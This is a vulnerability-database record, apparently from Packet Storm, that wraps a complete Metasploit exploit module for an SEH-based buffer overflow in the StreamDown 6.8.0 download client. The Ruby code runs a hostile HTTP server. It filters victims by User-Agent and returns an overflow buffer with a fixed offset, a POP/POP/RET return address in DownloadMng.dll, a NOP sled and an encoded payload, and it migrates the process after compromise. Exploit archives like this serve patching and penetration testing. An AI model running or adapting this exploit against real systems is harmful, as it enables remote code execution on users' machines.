{"id": "PACKETSTORM:108316", "type": "packetstorm", "bulletinFamily": "exploit", "title": "StreamDown 6.8.0 Buffer Overflow", "description": "", "published": "2012-01-03T00:00:00", "modified": "2012-01-03T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/108316/StreamDown-6.8.0-Buffer-Overflow.html", "reporter": "Fady Mohamed Osman", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:23:18", "viewCount": 8, "enchantments": {"score": {"value": 1.4, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 1.4}, "sourceHref": "https://packetstormsecurity.com/files/download/108316/stream_down_bof.rb.txt", "sourceData": "`## \n# This file is part of the Metasploit Framework and may be subject to \n# redistribution and commercial restrictions. Please see the Metasploit \n# Framework web site for more information on licensing and terms of use. \n# http://metasploit.com/framework/ \n## \n \nrequire 'msf/core' \n \nclass Metasploit3 < Msf::Exploit::Remote \nRank = GoodRanking \n \ninclude Msf::Exploit::Remote::HttpServer \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'StreamDown 6.8.0 Buffer overflow', \n'Description' => %q{ \nStream Down 6.8.0 seh based buffer overflow triggered when processing \nthe server reponse packet.During the overflow a structured exception \nhandler is overwritten. \n}, \n'Author' => 'Fady Mohamed Osman <fady.mohamed.osman[at]gmail.com>', \n'References' => \n[ \n['OSVDB', '78043'], \n['BID', '51190'], \n['URL', 'http://www.dark-masters.tk/'], \n['URL', 'http://secunia.com/advisories/47343/'], \n['URL', 'http://www.exploit-db.com/exploits/18283/'] \n], \n'Privileged' => false, \n'DefaultOptions' => \n{ \n'EXITFUNC' => 'seh', \n'InitialAutoRunScript' => 'migrate -f' \n}, \n'Payload' => \n{ \n'BadChars' => \"\\x00\\xff\\x0a\" \n}, \n'Platform' => 'win', \n'Targets' => \n[ \n[ \n'StreamDown 6.8.0', \n{ \n'Offset' => 16388, \n'Ret' => 0x10019448 #POP/POP/RET in DownloadMng.dll \n} \n], \n], \n'DefaultTarget' => 0, \n'License' => MSF_LICENSE \n)) \nend \n \ndef on_request_uri(cli,request) \nvprint_status(\"#{cli.peerhost}:#{cli.peerport} requested: #{request.uri}\") \n \n# No point to continue if the client isn't what we interested in \nua = request.headers['User-Agent'] \nif ua !~ /CoCSoft Stream Download/i \nprint_error(\"Target not supported: #{ua}\") \nsend_not_found(cli) \nreturn \nend \n \nnseh = \"\\xeb\\x06\" + rand_text_alpha(2) \nseh = [target.ret].pack('V') \noffset_to_nseh = target['Offset'] \nnops = make_nops(10) \nsploit = rand_text_alpha(offset_to_nseh) + nseh + seh + nops + payload.encoded \ncli.put(sploit) \nclose_client(cli) \nend \nend \n`\n", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1646819459}}
{}
StreamDown 6.8.0 Buffer Overflow